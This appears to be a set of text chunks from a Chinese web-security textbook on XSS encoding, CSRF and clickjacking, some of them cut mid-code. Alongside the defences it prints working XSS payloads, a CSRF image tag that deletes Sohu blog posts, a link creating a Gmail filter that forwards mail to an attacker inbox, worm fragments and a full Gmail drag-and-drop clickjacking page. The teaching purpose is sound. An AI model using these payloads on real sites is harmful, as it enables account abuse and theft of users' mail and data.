    {"text": "用户输入的昵称如下： $nickname = '我是\"天才\"' 如果在XSS Filter中对双引号进行转义： $nickname = '我是\\\"天才\\\"' 在HTML代码中展示时： <div>我是\\\"天才\\\"<div> 在JavaScript代码中展示时： <script> var nick = '我是\\\"天才\\\"'; document.write(nick); </script> 这两段代码，分别得到如下结果： 第一个结果显然不是用户想看到的。"},
    {"text": "为了对抗XSS，在HtmlEncode中要求至少转换以下字符： & --> &amp; < --> &lt; > --> &gt; \" --> &quot; ' --> &#x27; &apos; 不推荐 / --> &#x2F; 包含反斜线是因为它可能会闭合一些HTML entity 在PHP中，有htmlentities()和htmlspe-cialchars()两个函数可以满足安全要求。"},
    {"text": "比较下面两种写法： var x = escapeJavascript($evil); var y = '\"'+escapeJavascript($evil)+'\"'; 如果escapeJavascript()函数只转义了几个危险字符，比如‘、”、<、>、\\、&、#等，那么上面的两行代码输出后可能会变成： var x = 1;alert(2); var y = \"1;alert(2)\"; 第一行执行额外的代码了；"},
    {"text": "对于后者，攻击者即使想要逃逸出引号的范围，也会遇到困难： var y = \"\\\";alert(1);\\/\\/\"; 所以要求使用JavascriptEncode的变量输出一定要在引号内。"},
    {"text": "/** * {@inheritDoc} * * Returns backslash encoded numeric format. Does not use backslash character escapes * such as, \\\" or \\' as these may cause parsing problems. For example, if a javascript * attribute, such as onmouseover, contains a \\\" that will close the entire attribute and * allow an attacker to inject another script attribute. * * @param immune */ public String encodeCharacter( char[] immune, Character c ) { // check for immune characters if ( containsCharacter(c, immune ) ) { return \"\"+c; } // check for alphanumeric characters String hex = Codec.getHexForNonAlphanumeric(c); if ( hex == null ) { return \"\"+c; } // Do not use these shortcuts as they can be used to break out of a context // if ( ch == 0x00 ) return \"\\\\0\"; // if ( ch == 0x08 ) return \"\\\\b\"; // if ( ch == 0x09 ) return \"\\\\t\"; // if ( ch == 0x0a ) return \"\\\\n\"; // if ( ch == 0x0b ) return \"\\\\v\"; // if ( ch == 0x0c ) return \"\\\\f\"; // if ( ch == 0x0d ) return \"\\\\r\"; // if ( ch == 0x22 ) return \"\\\\\\\"\"; // if ( ch == 0x27 ) return \"\\\\'\"; // if ( ch == 0x5c ) return \"\\\\\\\\\"; // encode up to 256 with \\ \\xHH String temp = Integer.toHexString(c); if ( c < 256 ) { String pad = \"00\".substring(temp.length() ); return \"\\\\x\" + pad + temp.toUpperCase(); } // otherwise encode with \\ \\uHHHH String pad = \"0000\".substring(temp.length() ); return \"\\\\u\" + pad + temp.toUpperCase(); } 除了HtmlEncode、JavascriptEncode外，还有许多用于各种情况的编码函数，比如XMLEn-code（其实现与HtmlEncode类似）、JSONEn-code（与JavascriptEncode类似）等。"},
    {"text": "import org.apache.commons.lang.StringEscapeUtils; public class StringUtilsEscapeExampleV1 { l(unescapedXML)); String unescapedHTML = \"<data>\"; System.err.println(StringEscapeUtils.escapeHt ml(unescapedHTML)); } } 可以在适当的情况下选用适当的函数。"},
    {"text": "在web2py的安全文档中，有这样一句话： web2py, by default, escapes all variables ren-dered in the view, thus preventing XSS. Django和web2py都选择在View层默认HtmlEncode所有变量以对抗XSS，出发点很好。"},
    {"text": "看看下面这个例子： <body> <a href=# onclick=\"alert('$var');\" >test</a> </body> 开发者希望看到的效果是，用户点击链接后，弹出变量“$var”的内容。 可是用户如果输入： $var = htmlencode(\"');alert('2\"); 对变量“$var”进行HtmlEncode后，渲染的结果是： <body> <a href=# onclick=\"alert('&#x27;&#x29;&#x3b;alert&#x28; &#x27;2');\" >test</a> </body> 对于浏览器来说，htmlparser会优先于JavaScript Parser执行，所以解析过程是，被HtmlEncode的字符先被解码，然后执行JavaScript事件。 因此，经过htmlparser解析后相当于： <body> <a href=# onclick=\"alert('');alert('2');\" >test</a> </body> 成功在onclick事件中注入了XSS代码！ 第一次弹框： 执行第一个alert 第二次弹框： 执行第二个alert 导致XSS攻击发生的原因，是由于没有分清楚输出变量的语境！"},
    {"text": "比如： <div><script>alert(/xss/)</script></div> 或者 <a href=# ><img src=# onerror=alert(1) /></ a> 防御方法是对变量使用HtmlEncode。 在HTML属性中输出 在<script>标签中输出时，首先应该确保输出的变量在引号中： <script> var x = \"$var\"; </script> 攻击者需要先闭合引号才能实施XSS攻击： <script> var x = \"\";alert(/xss/);//\"; </script> 防御时使用JavascriptEncode。 在事件中输出 在事件中输出和在<script>标签中输出类似： <a href=# onclick=\"funcA('$var')\" >test</a> 可能的攻击方法： <a href=# onclick=\"funcA('');alert(/ xss/);//')\" >test</a> 在防御时需要使用JavascriptEncode。"},
    {"text": "<STYLE>@import'http://ha.ckers.org/ xss.css';</STYLE> <STYLE>BODY{-moz- binding:url(\"http://ha.ckers.org/ xssmoz.xml#xss\")}</STYLE> <XSS STYLE=\"behavior: url(xss.htc);\"> <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</ STYLE><UL><LI>XSS <DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"> <DIV STYLE=\"width: expression(alert('XSS'));\"> 所以，一般来说，尽可能禁止用户可控制的变量在“<style>标签”、“HTML标签的style属性”以及“CSS文件”中输出。"},
    {"text": "String safe = ESAPI.encoder().encodeForCSS( request.getPara meter( \"input\" ) ); 其实现原理类似于ESAPI.encoder().encode-ForJavaScript()函数，除了字母、数字外的所有字符都被编码成十六进制形式“\\uHH”。"},
    {"text": "一般来说，在URL的path（路径）或者search（参数）中输出，使用URLEncode即可。 URLEncode会将字符转换为“%HH”形式，比如空格就是“%20”，“<”符号是“%3c”。 <a href=\"http://www.evil.com/?test=$var\" >test</a> 可能的攻击方法： <a href=\"http://www.evil.com/?test=\" onclick=alert(1)\"\" >test</a> 经过URLEncode后，变成了： <a href=\"http://www.evil.com/?test= %22%20onclick%3balert%281%29%22\" >test</a> 但是还有一种情况，就是整个URL能够被用户完全控制。 这时URL的Protocal和Host部分是不能够使用URLEncode的，否则会改变URL的语义。 一个URL的组成如下： [Protocal][Host][Path][Search][Hash] 例如： https://www.evil.com/a/b/c/test?abc=123#ssss [Protocal] = \"https://\" [Host] = \"www.evil.com\" [Path] = \"/a/b/c/test\" [Search] = \"?abc=123\" [Hash] = \"#ssss\" 在Protocal 与Host中，如果使用严格的UR-LEncode函数，则会把“://”、“.”等都编码掉。"},
    {"text": "对于如下的输出方式： <a href=\"$var\" >test</a> 攻击者可能会构造伪协议实施攻击： <a href=\"javascript:alert(1);\" >test</a> 除了“javascript”作为伪协议可以执行代码外，还有“vbscript”、“dataURI”等伪协议可能导致脚本执行。"},
    {"text": "如下例： <a href=\"data:text/ html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3Njcmlwd D4=\">test</a> 这段代码的意思是，以text/html的格式加载编码为base64的数据，加载完成后实际上是： <script>alert(1);</script> 点击<a>标签的链接，将导致执行脚本。"},
    {"text": "一般来说，如果变量是整个URL，则应该先检查变量是否以“http”开头（如果不是则自动添加），以保证不会出现伪协议类的XSS攻击。 <a href=\"$var\" >test</a> 在此之后，再对变量进行URLEncode，即可保证不会有此类的XSS发生了。 OWASP ESAPI中有一个URLEncode的实现（此API未解决伪协议的问题）： String safe = ESAPI.encoder().encodeForURL( request.getPara meter( \"input\" ) ); 3.3.5 处理富文本 有些时候，网站需要允许用户提交一些自定义的HTML代码，称之为“富文本”。"},
    {"text": "import org.owasp.validator.html.*; Policy policy = Policy.getInstance(POLICY_FILE_LOCATION); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(dirtyInput, policy); MyUserDAO.storeUserProfile(cr.getCleanHTML()) ; // some custom function 在PHP中，可以使用另外一个广受好评的开源项目：HTMLPurify。"},
    {"text": "回头看看这个例子： <script> function test(){ var str = document.getElementById(\"text\").value; document.getElementById(\"t\").innerHTML = \"<a href='\"+str+\"' >testLink</a>\"; } </script> <div id=\"t\" ></div> <input type=\"text\" id=\"text\" value=\"\" /> <input type=\"button\" id=\"s\" value=\"write\" onclick=\"test()\" /> 在button的onclick事件中，执行了test()函数，而该函数中最关键的一句是： document.getElementById(\"t\").innerHTML = \"<a href='\"+str+\"' >testLink</a>\"; 将HTML代码写入了DOM节点，最后导致了XSS的发生。"},
    {"text": "看看下面这个例子： <script> var x=\"$var\"; document.write(\"<a href='\"+x+\"' >test</a>\"); </script> 变量“$var”输出在<script>标签内，可是最后又被document.write输出到HTML页面中。"},
    {"text": "假设为了保护“$var”直接在<script>标签内产生XSS，服务器端对其进行了javascriptEscape。 可是，$var在document.write时，仍然能够产生XSS，如下所示： <script> var x=\"\\x20\\x27onclick\\x3dalert\\x281\\x29\\x3b \\x2f\\x2f\\x27\"; document.write(\"<a href='\"+x+\"' >test</a>\"); </script> 页面渲染之后的实际结果如下： 页面渲染后的HTML代码效果 XSS攻击成功： 执行恶意代码 其原因在于，第一次执行javascriptEscape后，只保护了： var x = \"$var\"; 但是当document.write输出数据到HTML页面时，浏览器重新渲染了页面。 在<script>标签执行时，已经对变量x进行了解码，其后docu-ment.write再运行时，其参数就变成了： <a href=' 'onclick=alert(1);//'' >test</a> XSS因此而产生。"},
    {"text": "继续看下面这个例子： <script> var x=\"1&#x22;&#x29;&#x3b;alert&#x28;2&#x29;&#x3b ;&#x2f;&#x2f;&#x22;\"; document.write(\"<a href=# onclick='alert(\\\"\"+x+\"\\\")' >test</a>\"); </script> 服务器把变量HtmlEncode后再输出到<script>中，然后变量x作为onclick事件的一个函数参数被document.write到了HTML页面里。 页面渲染后的HTML代码效果 onclick事件执行了两次“alert”，第二次是被XSS注入的。"},
    {"text": "首先，在“$var”输出到<script>时，应该执行一次javascriptEncode； 其次，在docu-ment.write输出到HTML页面时，要分具体情况看待：如果是输出到事件或者脚本，则要再做一次javascriptEncode； 如果是输出到HTML内容或者属性，则要做一次HtmlEncode。 也就是说，从JavaScript输出到HTML页面，也相当于一次XSS输出的过程，需要分语境使用不同的编码函数。"},
    {"text": "document.write() document.writeln() xxx.innerHTML= xxx.outerHTML= innerHTML.replace document.attachEvent() window.attachEvent() document.location.replace() document.location.assign() …… 需要重点关注这几个地方的参数是否可以被用户控制。"},
    {"text": "页面中所有的inputs框 window.location(href、hash等) window.name ?document.referrer document.cookie ?localstorage XMLHttpRequest返回的数据 …… 安全研究者Stefano Di Paola设立了一个DOM Based XSS的cheatsheet，有兴趣深入研究的读者可以参考。"},
    {"text": "登录Sohu博客后，只需要请求这个URL，就能够把编号为“156713012”的博客文章删除。 http://blog.sohu.com/manage/entry.do? m=delete&id=156713012 这个URL同时还存在CSRF漏洞。 我们将尝试利用CSRF漏洞，删除编号为“156714243”的博客文章。"},
    {"text": "搜狐博客个人管理界面 攻击者首先在自己的域构造一个页面： http://www.a.com/csrf.html 其内容为： <img src=\"http://blog.sohu.com/manage/ entry.do?m=delete&id=156714243\" /> 使用了一个<img>标签，其地址指向了删除博客文章的链接。 攻击者诱使目标用户，也就是博客主“test1test”访问这个页面： 执行CSRF攻击 该用户看到了一张无法显示的图片，再回过头看看搜狐博客： 文章被删除 发现原来存在的标题为“test1”的博客文章，已经被删除了！ 原来刚才访问http://www.a.com/csrf.html时，图片标签向搜狐的服务器发送了一次GET请求： CSRF请求 而这次请求，导致了搜狐博客上的一篇文章被删除。"},
    {"text": "4.2 CSRF进阶 4.2.1 浏览器的Cookie策略 在上节提到的例子里，攻击者伪造的请求之所以能够被搜狐服务器验证通过，是因为用户的浏览器成功发送了Cookie的缘故。"},
    {"text": "另一种是“Third-party Cookie”，也称为“本地Cookie”。 两者的区别在于，Third-party Cookie是服务器在Set-Cookie时指定了Expire时间，只有到了Expire时间后Cookie才会失效，所以这种Cookie会保存在本地；"},
    {"text": "而Session Cookie则没有指定Ex-pire时间，所以浏览器关闭后，Session Cookie就失效了。 在浏览网站的过程中，若是一个网站设置了Session Cookie，那么在浏览器进程的生命周期内，即使浏览器新打开了Tab页，Session Cookie也都是有效的。 Session Cookie保存在浏览器进程的内存空间中；"},
    {"text": "在http://www.a.com/cookie.php中，会给浏览器写入两个Cookie：一个为Session Cookie，另一个为Third-party Cookie。 <?php header(\"Set-Cookie: cookie1=123;\"); header(\"Set-Cookie: cookie2=456;expires=Thu, 01-Jan-2030 00:00:01 GMT;\", false); ?> 访问这个页面，发现浏览器同时接收了这两个Cookie。 浏览器接收Cookie 这时再打开一个新的浏览器Tab页，访问同一个域中的不同页面。 因为新Tab页在同一个浏览器进程中，因此Session Cookie将被发送。 Session Cookie被发送 此时在另外一个域中，有一个页面http://www.b.com/csrf-test.html，此页面构造了CSRF以访问www.a.com。 <iframe src=\"http://www.a.com\" ></iframe> 这时却会发现，只能发送出Session Cookie，而Third-party Cookie被禁止了。 只发送了Session Cookie 这是因为IE出于安全考虑，默认禁止了浏览器在<img>、<iframe>、<script>、<link>等标签中发送第三方Cookie。"},
    {"text": "在Firefox中，默认策略是允许发送第三方Cookie的。 在Firefox中允许发送第三方Cookie 由此可见，在本章一开始所举的CSRF攻击案例中，因为用户的浏览器是Firefox，所以能够成功发送用于认证的Third-party Cookie，最终导致CSRF攻击成功。"},
    {"text": "4.2.2 P3P头的副作用 尽管有些CSRF攻击实施起来不需要认证，不需要发送Cookie，但是不可否认的是，大部分敏感或重要的操作是躲藏在认证之后的。"},
    {"text": "假设有www.a.com与www.b.com两个域，在www.b.com上有一个页面，其中包含一个指向www.a.com的iframe。 http://www.b.com/test.html的内容为： <iframe width=300 height=300 src=\"http://www.a.com/test.php\" ></iframe> http://www.a.com/test.php是一个对 a.com域设置Cookie的页面，其内容为： <?php header(\"Set-Cookie: test=axis; domain=.a.com; path=/\"); ?> 当请求http://www.b.com/test.html时，它的iframe会告诉浏览器去跨域请求 www.a.com/test.php。"},
    {"text": "修改www.a.com/test.php如下： <?php header(\"P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR\"); header(\"Set-Cookie: test=axis; expires=Sun, 23-Dec-2018 08:13:02 GMT; domain=.a.com; path=/\"); ?> 再次重复上面的测试过程：测试环境请求过程 可以看到，第二个包成功发送出之前收到的Cookie。"},
    {"text": "如下表： [57] compact-purpose = \"CUR\" | ; for <current/> \"ADM\" [creq] | ; for <admin/> \"DEV\" [creq] | ; for <develop/> \"TAI\" [creq] | ; for <tailoring/> \"PSA\" [creq] | ; for <pseudo-analysis/> \"PSD\" [creq] | ; for <pseudo-decision/> \"IVA\" [creq] | ; for <individual- analysis/> \"IVD\" [creq] | ; for <individual- decision/> \"CON\" [creq] | ; for <contact/> \"HIS\" [creq] | ; for <historical/> \"TEL\" [creq] | ; for <telemarketing/> \"OTP\" [creq] ; for <other-purpose/> [58] creq = \"a\"| ;\"always\" \"i\"| ;\"opt-in\" \"o\" ;\"opt-out\" 此外，P3P头也可以直接引用一个XML 策略文件： HTTP/1.1 200 OK P3P: policyref=\"http://catalog.example.com/ P3P/PolicyReferences.xml\" Content-Type: text/html Content-Length: 7413 Server: CC-Galaxy/1.3.18 若想了解更多的关于P3P头的信息，可以参考W3C标准。"},
    {"text": "正因为P3P头目前在网站的应用中被广泛应用，因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略，不能心存侥幸。 很多时候，如果测试CSRF时发现<iframe>等标签在IE中居然能发送Cookie，而又找不到原因，那么很可能就是因为P3P头在作怪。"},
    {"text": "这种错误的观点形成的原因主要在于，大多数CSRF攻击发起时，使用的HTML标签都是<img>、<iframe>、<script>等带“src”属性的标签，这类标签只能够发起一次GET请求，而不能发起POST请求。 而对于很多网站的应用来说，一些重要操作并未严格地区分GET与POST，攻击者可以使用GET来请求表单的提交地址。 比如在PHP中，如果使用的是$_REQUEST，而非$_POST获取变量，则会存在这个问题。"},
    {"text": "比如以下表单： <form action=\"/register\" id=\"register\" method=\"post\" > <input type=text name=\"username\" value=\"\" /> <input type=password name=\"password\" value=\"\" /> <input type=submit name=\"submit\" value=\"submit\" /> </form> 用户可以尝试构造一个GET请求： http://host/register? username=test&password=passwd 来提交，若服务器端未对请求方法进行限制，则这个请求会通过。"},
    {"text": "比如，攻击者在www.b.com/test.html中编写如下代码： <form action=\"http://www.a.com/register\" id=\"register\" method=\"post\" > <input type=text name=\"username\" value=\"\" /> <input type=password name=\"password\" value=\"\" /> <input type=submit name=\"submit\" value=\"submit\" /> </form> <script> var f = document.getElementById(\"register\"); f.inputs[0].value = \"test\"; f.inputs[1].value = \"passwd\"; f.submit(); </script> 攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中，那么整个自动提交表单的过程，对于用户来说也是不可见的。"},
    {"text": "http://www.gnucitizen.org/util/csrf? _method=POST&_enctype=multipart/form- data&_action =https%3A//mail.google.com/mail/h/ ewt1jmuj4ddv/%3Fv %3Dprf&cf2_emc=true&cf2_email=evil inbox@mailinator.com&cf1_from&cf1_to&cf1_subj &cf1_has&cf1_hasnot&cf1_attach=true&tfi& s=z&irf=on&nvp_bu_cftb=Create%20Filter 这个链接的实际作用就是把参数生成一个POST的表单，并自动提交。"},
    {"text": "由于浏览器中已经存在Gmail的临时Cookie，所以用户在iframe中对Gmail发起的这次请求会成功——邮箱的Filter中会新创建一条规则，将所有带附件的邮件都转发到攻击者的邮箱中。"},
    {"text": "比如下面这段代码： import flash.net.URLRequest; import flash.system.Security; var url = new URLRequest(\"http://target/page\"); var param = new URLVariables(); param = \"test=123\"; url.method = \"POST\"; url.data = param; sendToURL(url); stop(); 除了URLRequest外，在Flash中还可以使用getURL，loadVars等方式发起请求。 比如： req = new LoadVars(); req.addRequestHeader(\"foo\", \"bar\"); req.send(\"http://target/page?v1=123&v2=456\", \"_blank\", \"GET\"); 在IE 6、IE 7中，Flash发送的网络请求均可以带上本地Cookie；"},
    {"text": "漏洞出现在百度用户中心的发送短消息功能中： http://msg.baidu.com/? ct=22&cm=MailSend&tn=bmSubmit&sn=用户账户&co= 消息内容 只需要修改参数sn，即可对指定的用户发送短消息。"},
    {"text": "而百度的另外一个接口则能查询出某个用户的所有好友： http://frd.baidu.com/?ct=28&un=用户账户 &cm=FriList&tn=bmABCFriList&callback=gotfriends 将两者结合起来，可以组成一个CSRF Worm——让一个百度用户查看恶意页面后，将给他的所有好友发送一条短消息，然后这条短消息中又包含一张图片，其地址再次指向CSRF页面，使得这些好友再次将消息发给他们的好友，这个Worm因此得以传播。"},
    {"text": "var lsURL=window.location.href; loU = lsURL.split(\"?\"); if (loU.length>1) { var loallPm = loU[1].split(\"&\"); …… 定义蠕虫页面服务器地址，取得?和&符号后的字符串，从URL中提取感染蠕虫的用户名和感染者的好友用户名。"},
    {"text": "var gotfriends = function (x) vilmsg]\" for(i=0;i<friends.length;i++){ …… mysendmsg=mysendmsg+\"&\"+i; eval('x'+i+'=new Image();x'+i +'.src=unescape(\"\"+mysendmsg+'\");'); …… 将感染者的用户名和需要传播的好友用户名放到蠕虫链接内，然后输出短消息。"},
    {"text": "4.3 CSRF的防御 CSRF攻击是一种比较奇特的攻击，下面看看有什么方法可以防御这种攻击。 4.3.1 验证码 验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。"},
    {"text": "但是验证码并非万能。 很多时候，出于用户体验考虑，网站不能给所有的操作都加上验证码。 因此，验证码只能作为防御CSRF的一种辅助手段，而不能作为最主要的解决方案。"},
    {"text": "在Flash的一些版本中，曾经可以发送自定义的Referer头。 虽然Flash在新版本中已经加强了安全限制，不再允许发送自定义的Referer头，但是难免不会有别的客户端插件允许这种操作。"},
    {"text": "比如，一个删除操作的URL是： http://host/path/delete?username=abc&item=123 把其中的username参数改成哈希值： http://host/path/delete?username=md5(salt +abc)&item=123 这样，在攻击者不知道salt的情况下，是无法构造出这个URL的，因此也就无从发起CSRF攻击了。"},
    {"text": "这个Token的值是随机的，不可预测： http://host/path/delete? username=abc&item=123&token=[random(seed)] Token需要足够随机，必须使用足够安全的随机数生成算法，或者采用真随机数生成器（物理随机，请参考“加密算法与随机数”一章）。"},
    {"text": "如下这个表单中，Token作为一个隐藏的in-put字段，放在form中： 隐藏字段中的Token 同时Cookie中也包含了一个Token： Cookie中的Token 4.3.3.2 Token的使用原则 Anti CSRF Token在使用时，有若干注意事项。"},
    {"text": "如果一个用户打开几个相同的页面同时操作，当某个页面消耗掉Token后，其他页面的表单内保存的还是被消耗掉的那个Token，因此其他页面的表单再次提交时，会出现Token错误。"},
    {"text": "比如以下页面： http://host/path/manage? username=abc&token=[random] 这个manage页面是一个用户面板，用户需要在这个页面提交表单或者单击“删除”按钮，才能完成删除操作。"},
    {"text": "在这种场景下，如果这个页面包含了一张攻击者能指定地址的图片： <img src=\"http://evil.com/notexist\" /> 则“http://host/path/manage?user-name=abc&token=[random]”会作为HTTP请求的Referer发送到evil.com的服务器上，从而导致Token泄露。"},
    {"text": "第5章 点击劫持（ClickJacking） 2008年，安全专家Robert Hansen与Jeremiah Grossman发现了一种被他们称为“ClickJacking”（点击劫持）的攻击，这种攻击方式影响了几乎所有的桌面平台，包括IE、Safari、Firefox、Opera以及Adobe Flash。"},
    {"text": "攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户将在不知情的情况下点击透明的iframe页面。"},
    {"text": "在http://www.a.com/test.html页面中插入了一个指向目标网站的iframe，出于演示的目的，我们让这个iframe变成半透明： <!DOCTYPE html> <html> <head> <title>CLICK JACK!!!</title> <style> iframe { width: 900px; height: 250px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -195px; left: -740px; z-index: 2; /* Hide from view */ -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=0.5); } button { position: absolute; top: 10px; left: 10px; z-index: 1; width: 120px; } </style> </head> <body> <iframe src=\"http://www.qidian.com\" scrolling=\"no\"></iframe> <button>CLICK HERE!</button> </body> </html> 在这个test.html中有一个button，如果iframe完全透明时，那么用户看到的是： 用户看到的按钮 当iframe半透明时，可以看到，在button上面其实覆盖了另一个网页： 实际的页面，按钮上隐藏了一个iframe窗口 覆盖的网页其实是一个搜索按钮： 隐藏的iframe窗口的内容 当用户试图点击test.html里的button时，实际上却会点击到iframe页面中的搜索按钮。 分析其代码，起到关键作用的是下面这几行： iframe { width: 900px; height: 250px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -195px; left: -740px; z-index: 2; /* Hide from view */ -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=0.5); } 通过控制iframe的长、宽，以及调整top、left的位置，可以把iframe页面内的任意部分覆盖到任何地方。"},
    {"text": "安全研究者演示了一个在别人不知情的情况下发送一条twitter消息的POC，其代码与上例中类似，但是POC中的iframe地址指向了： <iframe scrolling=\"no\" src=\"http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)\"></iframe> 在twitter的URL里通过status参数来控制要发送的内容。"},
    {"text": "5.2 Flash点击劫持 下面来看一个更为严重的ClickJacking攻击案例。 攻击者通过Flash构造出了点击劫持，在完成一系列复杂的动作后，最终控制了用户电脑的摄像头。"},
    {"text": "<a href=\"http://disenchant.ch\"> <img src=http://disenchant.ch/powered.jpg style=position:absolute;right:320px;top:90 px;/> </a> 如下所示，覆盖前的页面是： 覆盖前的页面 覆盖后的页面变成： 覆盖后的页面 页面里的logo图片被覆盖了，并指向了sven.vetsch的网站。 如果用户此时再去点击logo图片，则会被链接到sven.vetsch的网站。"},
    {"text": "百度空间也曾经出现过这个问题，构造代码如下： </table><a href=\"http://www.ph4nt0m.org\"> <img src=\"http://img.baidu.com/hi/img/ portraitn.jpg\" style=\"position:absolute;left:123px;top:123px ;\"> </a> 一张头像图片被覆盖到logo处：一张头像图片被覆盖到Logo处 点击此图片的话，会被链接到其他网站。"},
    {"text": "或者在图片中构造一些文字，覆盖在关键的位置，就有可能完全改变页面中想表达的意思，在这种情况下，不需要用户点击，也能达到欺骗的目的。"},
    {"text": "“拖拽劫持”的思路是诱使用户从隐藏的不可见iframe中“拖拽”出攻击者希望得到的数据，然后放到攻击者能控制的另外一个页面中，从而窃取数据。"},
    {"text": "原理示意图 这个例子的源代码如下： <html> <head> <title> Gmail Clickjacking with drag and drop Attack Demo </title> <style> .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center; margin-top:350px;} </style> <script> function Init() { var source = document.getElementById(\"source\"); var target = document.getElementById(\"target\"); if (source.addEventListener) { target.addEventListener(\"drop\", DumpInfo, false); } else { target.attachEvent(\"ondrop\", DumpInfo); } } function DumpInfo(event) { showHide_ball.call(this); showHide_ball_1.call(this); var info = document.getElementById(\"info\"); info.innerHTML += \"<span style='color:#3355cc;font-size:13px'>\" + event.dataTransfer.getData('Text') + \"</ span><br> \"; } function showHide_frame() { var iframe_1 = document.getElementById(\"iframe_1\"); iframe_1.style.opacity = this.checked ? \"0.5\": \"0\"; iframe_1.style.filter = \"progid:DXImageTransform.Microsoft.Alpha(opac ity=\" + (this.checked ? \"50\": \"0\") + \");\" } function showHide_text() { var text_1 = document.getElementById(\"target\"); text_1.style.opacity = this.checked ? \"0.5\": \"0\"; text_1.style.filter = \"progid:DXImageTransform.Microsoft.Alpha(opac ity=\" + (this.checked ? \"50\": \"0\") + \");\" } function showHide_ball() { var hide_ball = document.getElementById(\"hide_ball\"); hide_ball.style.opacity = \"0\"; hide_ball.style.filter = \"alpha(opacity=0)\"; } function showHide_ball_1() { var hide_ball_1 = document.getElementById(\"hide_ball_1\"); hide_ball_1.style.opacity = \"1\"; hide_ball_1.style.filter = \"alpha(opacity=100)\"; } function reload_text() { document.getElementById(\"target\").value = ''; } </script> </head> <body onload=\"Init();\"> <center> <h1> Gmail Clickjacking with drag and drop Attack </h1> </center> <img id=\"hide_ball\" src=ball.png class=\"ball\"> <div id=\"source\"> <iframe id=\"iframe_1\" src=\"https://mail.google.com/mail/ig/mailmax\" class=\"iframe_hidden\" scrolling=\"no\"> </iframe> </div> <img src=Dolphin.jpg class=\"Dolphin\"> <div> <img id=\"hide_ball_1\" src=ball.png class=\"ball_1\"> </div> <div> <textarea id=\"target\" class=\"text_area_hidden\"> </textarea> </div> <div id=\"info\" style=\"position:absolute;background- color:#e0e0e0;font-weight:bold; top:600px;\"> </div> <center> Note: Clicking \"ctrl + a\" to select the ball, then drag it to the <br> mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. <br> </center> <br> <br> <div class=\"center\"> <center> <center> <input id=\"showHide_frame\" type=\"checkbox\" onclick=\"showHide_frame.call(this);\" /> <label for=\"showHide_frame\"> Show the jacked I--Frame </label> | <input id=\"showHide_text\" type=\"checkbox\" onclick=\"showHide_text.call(this);\" /> <label for=\"showHide_text\"> Show the jacked Textarea </label> | <input type=button value=\"Replay\" onclick=\"location.reload();reload_text();\"> </center> <br><br> <b> Design by <a target=\"_blank\" href=\"http://hi.baidu.com/xisigr\"> xisigr </a> </b> </center> </div> </body> </html> 这是一个非常精彩的案例。"},
    {"text": "5.5 ClickJacking 3.0：触屏劫持 到了2010年9月，智能手机上的“触屏劫持”攻击被斯坦福的安全研究者公布，这意味着ClickJacking的攻击方式更进一步。"},
    {"text": "从手机OS的角度来看，触屏实际上就是一个事件，手机OS捕捉这些事件，并执行相应的动作。 比如一次触屏操作，可能会对应以下几个事件： touchstart，手指触摸屏幕时发生； touchend，手指离开屏幕时发生； touchmove，手指滑动时发生； touchcancel，系统可取消touch事件。"},
    {"text": "触屏劫持原理示电图 而手机上的屏幕范围有限，手机浏览器为了节约空间，甚至隐藏了地址栏，因此手机上的视觉欺骗可能会变得更加容易实施。 比如下面这个例子： 手机屏幕的视觉欺骗 左边的图片，最上方显示了浏览器地址栏，同时攻击者在页面中画出了一个假的地址栏；"},
    {"text": "比如下面这段代码： if ( top.location != location ) { top.location = self.location; } 常见的frame busting有以下这些方式： if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent&&! (self.parent===self))&&(self.parent.frames.le ngth!=0)) top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = \"URL\" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location parent.location = self.location ; } 那么通过以下方式即可绕过上面的保护代码： Attacker top frame: <iframe src=\"attacker2 .html\"> Attacker sub-frame: <iframe src=\"http://www.victim.com\"> 此外，像HTML 5中iframe的sandbox属性、IE中iframe的security属性等，都可以限制iframe页面中的JavaScript脚本执行，从而可以使得frame busting失效。"},
    {"text": "斯坦福的Gustav Rydstedt等人总结了一篇关于“攻击frame busting”的paper：“Busting framebusting: a study of clickjacking vulnerabilities atpopular sites”，详细讲述了各种绕过framebusting的方法。"},
    {"text": "X-Frame-Options可以说是为了解决Click-Jacking而生的，目前有以下浏览器开始支持X-Frame-Options： ?IE 8+ ?Opera 10.50+ ?Safari 4+ ?Chrome 4.1.249.1042+ ?Firefox 3.6.9 (or earlier with NoScript) 它有三个可选的值： DENY SAMEORIGIN ALLOW-FROM origin 当值为DENY时，浏览器会拒绝当前页面加载任何frame页面；"},
    {"text": "离HTML 5真正的普及还有很长一段路要走，但是由于浏览器已经开始支持部分功能，所以HTML 5的影响已经显现，可以预见到，在移动互联网领域，HTML 5会有着广阔的发展前景。"},
